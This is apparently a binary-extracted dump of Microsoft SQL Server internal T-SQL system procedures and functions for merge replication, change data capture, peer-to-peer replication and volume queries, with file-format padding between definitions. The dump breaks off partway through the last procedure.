a	0K 8
CREATE PROCEDURE sys.sp_getVolumeFreeSpace
@database_name sysname,
@file_id int
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END
	IF ( HAS_PERMS_BY_NAME(null, null, 'VIEW SERVER STATE') != 1 )
	BEGIN
		RAISERROR(38002, -1, -1, 'View Server State')
		RETURN 38002
	END
	DECLARE @physicalfilename nvarchar(260)
	SELECT @physicalfilename = physical_name FROM sys.master_files WHERE database_id = DB_ID(@database_name) AND file_id = @file_id
	IF(@physicalfilename IS NULL)
	BEGIN
		RAISERROR(38001,-1,-1,@file_id,@database_name)
		RETURN 38001
	END
	SELECT sys.fn_getVolumeFreeSpace_internal(@physicalfilename)
END
0k@ 8
create procedure sys.sp_MSget_subscriber_partition_id (@publication sysname, @partition_id int OUTPUT, @maxgen_whenadded bigint OUTPUT, @host_name_override sysname = NULL, @suser_sname_override sysname = NULL) 
as
begin
    set nocount on
    
    declare @partition_id_eval_proc nvarchar(270), @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0
        return 1
                    
    select @partition_id_eval_proc = partition_id_eval_proc from dbo.sysmergepublications
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    
    if @partition_id_eval_proc is not null
    begin
        select @partition_id_eval_proc = 'dbo.' + @partition_id_eval_proc
        
        exec @retcode = @partition_id_eval_proc @partition_id OUTPUT, 
                                                @maxgen_whenadded OUTPUT,
                                                @host_name_override,
                                                @suser_sname_override
    
        if @retcode <> 0 or @@error <> 0
            return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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^
`9<%L'\:[10] 8create function sys.fn_MSmerge_getartprocsuffix (
    @artid uniqueidentifier,
    @pubid uniqueidentifier
)
returns nvarchar(100)
as
begin
    declare @artidstr nvarchar(40)
    declare @pubidstr nvarchar(40)
    declare @suffix nvarchar(100)

    select @suffix = NULL
    exec @artidstr = sys.fn_MSguidtostr @artid
    if @@ERROR<>0 OR @artidstr is NULL
        return @suffix

    exec @pubidstr = sys.fn_MSguidtostr @pubid
    if @@ERROR<>0 OR @pubidstr is NULL
        return @suffix

    select @suffix = substring(@artidstr, 1, 16) + substring(@pubidstr, 1, 16)

    return @suffix
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Y<s%L+E\0 	8create procedure sys.sp_MScdc_db_ddl_event 
(
	@EventData xml
)
as
begin
	set nocount on

	declare @old_database_name sysname
		,@new_database_name sysname
		,@event_type sysname
		,@proc nvarchar(1000)
		,@retcode int
		
	-- If the table msdb.dbo.cdc_jobs doesn't exist, simply return. 
	if ([sys].[fn_cdc_jobs]() = 0)
		return 0

	select @event_type = event_instance.value('EventType[1]', 'nvarchar(100)')
		,@old_database_name = event_instance.value('DatabaseName[1]', 'sysname')
	FROM       @EventData.nodes('/EVENT_INSTANCE') as R(event_instance)

	--for alter database, all we care is if database name has changed, skip everything else
	if (@event_type = N'ALTER_DATABASE')
	begin
		--if no cdc enabled db, don't do anything
		if not exists (select * from sys.databases where is_cdc_enabled = 1)
			return 0

		if db_id(@old_database_name) is not null
			return 0
		else
		begin
			-- the only reliable way to find new database name is through our jobs
			select @new_database_name = [sys].[fn_cdc_db_name_from_job_entry](@old_database_name)
		
			-- if jobs don't exists for whatever reason, we don't really need to do any thing	
			if @new_database_name is null 
				return 0
			
			set @proc = quotename(@new_database_name) + N'.sys.sp_MScdccheck_ddladmin'
			EXEC @retcode = @proc 
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
				return 1
			END
		end
	end

	--only sa can drop cdc-enabled database, even if there's other way to grant non-sa right to do so, 
	--ddl trigger is after effect so db is gone therefore we won't have anyway to evaluate what right you have in the dropped db.
	if (@event_type = N'DROP_DATABASE')
	begin
		--the whole purpose of hooking into DROP_DATABASE is to cleanup cdc jobs, if there is no job, no need to do anything
		if ([sys].[fn_cdc_jobs]() = 1)
		begin
				--again, if the dropped db has no job to clean, why bother
				if ([sys].[fn_cdc_job_entry](@old_database_name) = 1)
				begin
					if (isnull(is_srvrolemember('sysadmin'),0) = 0)
					begin
						raiserror(22902, 16, -1)
						return 1
					end
				end
				else 
					return 0
		end
		else
			return 0
	end
	
	-- Remove obsolete entries from msdb jobs tables. This is handled as a best effort.
	-- Failure should not cause DROP or ALTER to fail.
	exec [sys].[sp_cdc_cleanup_job_entries] @event_type, @old_database_name, @new_database_name
	
	return 0
	
end
03\ 8CREATE VIEW sys.dm_filestream_non_transacted_handles AS
    SELECT *
    FROM OpenRowset(TABLE DM_FILESTREAM_NON_TRANSACTED_HANDLES)
0@ 8create procedure sys.sp_stoppushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db sysname,
    @publisher      sysname = null
)
as
begin
    set nocount on
    declare @cmd        nvarchar(4000)
    declare @retcode    int 
    declare @pubtype    sysname
    declare @stop       tinyint
    
    set @retcode = 0
    set @stop = 1
    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @pubtype OUTPUT,
                                                    @rpcheader      = @cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_subscriptionagentjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @subscriber = @subscriber,
                    @subscriber_db = @subscriber_db,
                    @publisher = @publisher,
                    @publisher_type = @pubtype,
                    @action = @stop    
    return @retcode


end
0 8
create function [sys].[fn_cdc_jobs]()
returns bit
with execute as 'dbo'
as
begin
		
	if object_id('msdb.dbo.cdc_jobs') is null
		return 0
	return 1
	
end
0h@ o8
create procedure sys.sp_MSget_current_subscriber_partition_id (@pubid uniqueidentifier, @partition_id int output)
as
begin
    declare @retcode int
    declare @pub_uses_host_name_for_filtering bit
    declare @pub_uses_suser_sname_for_filtering bit
    declare @host_name sysname
    declare @suser_sname sysname
    declare @publication sysname
   
    set @pub_uses_host_name_for_filtering = 0
    set @pub_uses_suser_sname_for_filtering = 0
    select @host_name = NULL
    select @suser_sname = NULL
    select @partition_id = -1
    
    exec sys.sp_MSget_dynamic_filtering_information @pubid = @pubid,
                @uses_host_name = @pub_uses_host_name_for_filtering OUTPUT,
                @uses_suser_sname = @pub_uses_suser_sname_for_filtering OUTPUT
    if @@error <> 0
        goto FAILURE

    if @pub_uses_host_name_for_filtering = 1
        select @host_name = HOST_NAME()

    if @pub_uses_suser_sname_for_filtering = 1
        select @suser_sname = SUSER_SNAME()

    -- find the partition id for the subscriber
    -- deriving the partition id here and not accepting it as a parameter (from the merge agent)
    -- helps in avoiding false identity.
    select @publication = name from dbo.sysmergepublications where pubid=@pubid
    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                            @publication = @publication, 
                            @partition_id = @partition_id OUTPUT,
                            @maxgen_whenadded = NULL,
                            @host_name_override = @host_name,
                            @suser_sname_override = @suser_sname
    if @@error <> 0 or @retcode <> 0 or @partition_id = -1
    begin
        raiserror(20629, 16, -1)
        goto FAILURE
    end

    return 0
    
FAILURE:
    select @partition_id=NULL
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=


`@<z/E0R $8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSsetup_partition_groups @publication sysname
as
begin
    declare @use_partition_groups smallint
            , @dynamic_filters bit
            , @dynamic_filters_function_list nvarchar(500)
            , @retcode int
            , @pubid uniqueidentifier
            , @snapshot_ready int
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0
        return 1

    select @pubid = pubid, 
    @use_partition_groups = use_partition_groups, 
    @dynamic_filters = dynamic_filters, 
    @dynamic_filters_function_list = dynamic_filters_function_list,
    @snapshot_ready = snapshot_ready
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end

    if @snapshot_ready = 1 -- this is a subsequent snapshot and partition groups should have already been setup.
        return 0
        
    if (@use_partition_groups = 1)
    begin
        if (@dynamic_filters = 1 and @dynamic_filters_function_list is not null and @dynamic_filters_function_list <> ' ')
            or (@dynamic_filters = 0)
        begin
            -- dynamically filtered and we have the dynamic filters function list.
            -- or
            -- statically-filtered

            begin tran
            save transaction setup_partition_groups

            -- Then make sure that existing changes in contents are evaluated for partition memberships for this pubid only.
            -- Note that the tombstone changes cannot be evaluated since the data is no longer present. We may either not support
            -- going from use_partition_groups = 0 to use_partition_groups = 1, or we can document that all existing subscriptions must
            -- be in sync with the publication before sp_changemergepublication is called, or all tombstone rows can be marked as going to 
            -- all known partitions at this time. This has the effect of sending some unnecessary deletes, but if we use the generation value
            -- properly in the PastChange_to_Partition_Mapping table, then irrelevant deletes will not be sent after the first merge
            -- after sp_changemergepublication.
            -- For a given dynamic subscription the unique partition id is determined based on the row that has only the columns
            -- corresponding to functions used in that publication's filters, and obviously when the column values match the values
            -- those functions evaluate to for the merge agent.
            exec @retcode = sys.sp_MSsetup_publication_for_partition_groups @pubid

            if @retcode <> 0 or @@error <> 0
            begin 
                goto UNDO
            end

            commit transaction
        end
    end

    -- If not using partition groups, and snapshot is not already ready, 
    -- then call sp_MSevaluate_logicalrecordparent_allcontentsrows.
    -- This is for unfiltered publications using logical records. For 
    -- filtered publications, sp_MSevaluate_logicalrecordparent_allcontentsrows
    -- has already been called above in sp_MSsetup_publication_for_partition_groups.
    if (@use_partition_groups = 0 and @snapshot_ready <> 1)
    begin

        -- don't regenerate triggers as the snapshot will do it after calling this proc
        /*
        exec @retcode = sys.sp_MSregenerate_mergetriggers @publication
        if @@ERROR<>0 OR @retcode<>0 
        begin
            goto UNDO
        end */
        
        exec @retcode = sys.sp_MSevaluate_logicalrecordparent_allcontentsrows @pubid=@pubid
        if @@ERROR<>0 OR @retcode<>0 
        begin
            goto UNDO
        end 
    end
    
    if @use_partition_groups = 1
    begin
        
        IF NOT EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc5MSmerge_contents' 
            AND object_id = OBJECT_ID('MSmerge_contents'))
        begin
            create unique index nc5MSmerge_contents on dbo.MSmerge_contents(tablenick, marker, rowguid)
            if @@ERROR <> 0    goto UNDO
        end
    end
    else
    begin
        if not exists (select * from dbo.sysmergepublications where use_partition_groups > 0)
        begin
            IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc5MSmerge_contents' 
                AND object_id = OBJECT_ID('MSmerge_contents'))
                drop index dbo.MSmerge_contents.nc5MSmerge_contents
        end
    end

    return 0

UNDO:
    if @@trancount > 0
    begin
        rollback transaction setup_partition_groups
        commit transaction
    end

    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`;<Un8a0ZV  8create function sys.fn_fIsColTracked
    (@artnick int)
    returns int
as
begin
    declare @fIsColTracked int
    set @fIsColTracked= (select top 1 column_tracking from dbo.sysmergearticles where nickname=@artnick)
    return @fIsColTracked
end
0S̉ 8create procedure sys.sp_MSpeerapplyresponse
(
	@request_id		int,
	@originator		sysname,
	@originator_db	sysname,
	@response_srvr	sysname,
	@response_db	sysname
)
as
begin
	set nocount on	
	
	declare @retcode int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	-- we will exit in either of these conditions since this means we
	-- are not at the correct node and we should treat this as a noop
	-- the conditions are as follows:
	--	1. Any of the user provided information is NULL
	--	2. We are not on the originator server
	--	3. The originator and reponse_srvr are the same
	--
	-- section 1 
	if @request_id is NULL
		or @originator is NULL
		or @originator_db is NULL
		or @response_srvr is NULL
		or @response_db is NULL
		-- section 2
		or UPPER(@originator) <> UPPER(publishingservername())
		or @originator_db <> db_name()
		-- section 3
		or (UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db)
	begin
		return 0
	end
	
	begin transaction tr_sp_MSpeerapplyresponse
	save transaction tr_sp_MSpeerapplyresponse

	update MSpeer_response
		set received_date = getdate()
		where request_id = @request_id
			and peer = @response_srvr
			and peer_db = @response_db
	if @@error <> 0
	begin
		-- The procedure sys.sp_MSpeerapplyresponse failed to UPDATE the resource MSpeer_response Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_MSpeerapplyresponse', 'UPDATE', 'MSpeer_response.', @@error)
		goto FAILURE
	end

	commit transaction tr_sp_MSpeerapplyresponse

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeerapplyresponse
	commit transaction 
	
	return 1
end
0ƈ R8
create function sys.fn_MSgetrowguids
(
    @phase int,
    @number_of_rows int
)
returns @rowguidtable table (step int identity, phase int, cmdtext nvarchar(4000))
as
begin
    declare @rownumber int

    if @number_of_rows = 100
    begin
        insert @rowguidtable(phase, cmdtext) values
        (@phase, '
         @rowguid1,
         @rowguid2, 
         @rowguid3, 
         @rowguid4, 
         @rowguid5, 
         @rowguid6, 
         @rowguid7, 
         @rowguid8, 
         @rowguid9, 
         @rowguid10, 
         @rowguid11, 
         @rowguid12, 
         @rowguid13, 
         @rowguid14, 
         @rowguid15, 
         @rowguid16, 
         @rowguid17, 
         @rowguid18, 
         @rowguid19, 
         @rowguid20, 
         @rowguid21, 
         @rowguid22, 
         @rowguid23, 
         @rowguid24, 
         @rowguid25, 
         @rowguid26, 
         @rowguid27, 
         @rowguid28, 
         @rowguid29, 
         @rowguid30, 
         @rowguid31, 
         @rowguid32, 
         @rowguid33, 
         @rowguid34, 
         @rowguid35, 
         @rowguid36, 
         @rowguid37, 
         @rowguid38, 
         @rowguid39, 
         @rowguid40, 
         @rowguid41, 
         @rowguid42, 
         @rowguid43, 
         @rowguid44, 
         @rowguid45, 
         @rowguid46, 
         @rowguid47, 
         @rowguid48, 
         @rowguid49, 
         @rowguid50,')
         
        insert @rowguidtable(phase, cmdtext) values 
        (@phase, '
         @rowguid51, 
         @rowguid52, 
         @rowguid53, 
         @rowguid54, 
         @rowguid55, 
         @rowguid56, 
         @rowguid57, 
         @rowguid58, 
         @rowguid59, 
         @rowguid60, 
         @rowguid61, 
         @rowguid62, 
         @rowguid63, 
         @rowguid64, 
         @rowguid65, 
         @rowguid66, 
         @rowguid67, 
         @rowguid68, 
         @rowguid69, 
         @rowguid70, 
         @rowguid71, 
         @rowguid72, 
         @rowguid73, 
         @rowguid74, 
         @rowguid75, 
         @rowguid76, 
         @rowguid77, 
         @rowguid78, 
         @rowguid79, 
         @rowguid80, 
         @rowguid81, 
         @rowguid82, 
         @rowguid83, 
         @rowguid84, 
         @rowguid85, 
         @rowguid86, 
         @rowguid87, 
         @rowguid88, 
         @rowguid89, 
         @rowguid90, 
         @rowguid91, 
         @rowguid92, 
         @rowguid93, 
         @rowguid94, 
         @rowguid95, 
         @rowguid96, 
         @rowguid97, 
         @rowguid98, 
         @rowguid99, 
         @rowguid100')
    end
    else
    begin
        insert @rowguidtable(phase, cmdtext) values (@phase, N'
         @rowguid1')
        set @rownumber = 2
        while @rownumber <= @number_of_rows
        begin
            insert @rowguidtable(phase, cmdtext) values (@phase, N',
         @rowguid'+convert(nvarchar(3), @rownumber))
            select @rownumber = @rownumber + 1
        end
    end

    return
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<?
L)0q@ _8

create procedure sys.sp_MScheck_dynamic_filters @publication sysname,
                                        @can_use_partition_groups bit = NULL output,
                                        @has_dynamic_filters bit = NULL output,
                                        @dynamic_filters_function_list nvarchar(500) = NULL output,
                                        @validate_subscriber_info nvarchar(500) = NULL output,
                                        @uses_host_name bit = NULL output,
                                        @uses_suser_sname bit = NULL output,
                                        @dont_raise_error bit = NULL
as
    set nocount on
    
    declare @pubid uniqueidentifier
    , @retcode int
    , @use_partition_groups smallint
    , @dynamic_filters bit
    , @function_name_contains_another bit
    
    select @pubid = pubid
    , @dynamic_filters = dynamic_filters
    , @use_partition_groups = use_partition_groups
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end
    
    -- Initialize the flags to such a value that the occurrence of some condition will
    -- set the value to the opposite value.
    set @can_use_partition_groups = 1
    set @has_dynamic_filters = 0
    set @uses_host_name = 0
    set @uses_suser_sname = 0
    set @dynamic_filters_function_list = NULL
    
    if not exists (select * from dbo.sysmergearticles 
                        where pubid = @pubid
                        and subset_filterclause is not null
                        and subset_filterclause <> '')
        and not exists (select * from dbo.sysmergesubsetfilters
                        where pubid = @pubid
                        and (filter_type & 1) = 1)
    begin
        set @can_use_partition_groups = 0

        if (@dont_raise_error is NULL or @dont_raise_error = 0)
        begin
            if @use_partition_groups in (1,2)
            begin
                -- raiserror: Partition groups cannot be used for unfiltered publications.
                raiserror(22512, 16, -1)
                return 1
            end

            if @dynamic_filters = 1
            begin
                raiserror(22516, 16, -1, @publication)
                return 1
            end
        end

        return 0
    end
        
    exec @retcode = sys.sp_MScheck_join_filters 
                                @pubid = @pubid
                                , @use_partition_groups = @use_partition_groups
                                , @dynamic_filters = @dynamic_filters
                                , @can_use_partition_groups = @can_use_partition_groups output
                                , @has_dynamic_filters = @has_dynamic_filters output
                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                , @uses_host_name = @uses_host_name output
                                , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    exec @retcode = sys.sp_MScheck_join_filter_circular_relations 
                                @pubid = @pubid
                                , @use_partition_groups = @use_partition_groups
                                , @can_use_partition_groups = @can_use_partition_groups output
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    exec @retcode = sys.sp_MScheck_blob_filter_columns 
                                @pubid = @pubid
                                , @use_partition_groups = @use_partition_groups
                                , @can_use_partition_groups = @can_use_partition_groups output
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
    
    exec @retcode = sys.sp_MScheck_subset_filters 
                                @pubid = @pubid
                                , @use_partition_groups = @use_partition_groups
                                , @dynamic_filters = @dynamic_filters
                                , @can_use_partition_groups = @can_use_partition_groups output
                                , @has_dynamic_filters = @has_dynamic_filters output
                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                , @uses_host_name = @uses_host_name output
                                , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
                
    if @dynamic_filters_function_list is not null
    begin
        exec @retcode = sys.sp_MSget_distinct_semicolon_sep_items @dynamic_filters_function_list = @dynamic_filters_function_list output
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
            
        select @validate_subscriber_info = replace (@dynamic_filters_function_list, ';', '+')
    end
    
    if @dynamic_filters = 1 and @has_dynamic_filters = 0 and (@dont_raise_error is NULL or @dont_raise_error = 0)
    begin
        raiserror(22516, 16, -1, @publication)
        goto FAILURE
    end
    
    return 0

FAILURE:
    
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<X{0tB 	8create procedure sys.sp_MSdetectinvalidaddarticle
(
    @publication	sysname,
    @dest_table		sysname,
    @dest_owner		sysname
)
as
begin
	declare @OPT_ENABLED_FOR_P2P int
	
	declare @retcode 		bit,
			@publisher 		sysname,
		    @publisher_db 	sysname,
		    @publication_2	sysname

	select @OPT_ENABLED_FOR_P2P = 0x1,
			@publisher			= publishingservername(),
		    @publisher_db 		= db_name(),
		    @publication_2		= NULL

	-- check to see if this articles base table is a
	-- part of any other peer-to-peer publication
	select @publication_2 = sp.name 
				from syspublications sp
					join sysextendedarticlesview sa
						on sp.pubid = sa.pubid
				where sp.name != @publication
					and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
					and sa.dest_table = @dest_table
					and isnull(sa.dest_owner, N'dbo') = isnull(@dest_owner, N'dbo')
					
	if @publication_2 is not NULL
	begin
		select @dest_owner = isnull(@dest_owner, 'dbo')

		-- Articles can only be included in a single Peer-To-Peer publication. [@dest_owner].[@dest_table] is already included in the Peer-To-Peer publication '%s'.
